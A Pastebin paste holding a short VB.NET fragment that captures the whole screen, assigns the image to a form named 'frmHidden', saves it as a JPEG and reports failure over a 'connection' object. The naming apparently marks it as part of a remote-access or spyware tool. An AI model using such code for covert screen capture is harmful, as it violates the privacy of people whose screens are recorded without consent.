Advertisement
Guest User

Untitled

a guest
Aug 17th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.71 KB | None | 0 0
  1. Try
  2. Dim bounds As Rectangle
  3. Dim screenshot As System.Drawing.Bitmap
  4. Dim graph As Graphics
  5. bounds = Screen.PrimaryScreen.Bounds
  6. screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
  7. graph = Graphics.FromImage(screenshot)
  8. graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
  9. frmHidden.PictureBox1.Image = screenshot
  10. frmHidden.PictureBox1.Image.Save(tdapati, System.Drawing.Imaging.ImageFormat.Jpeg)
  11. Catch ex As Exception
  12. connection.sendstatus("Could not capture screen!")
  13. End Try
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement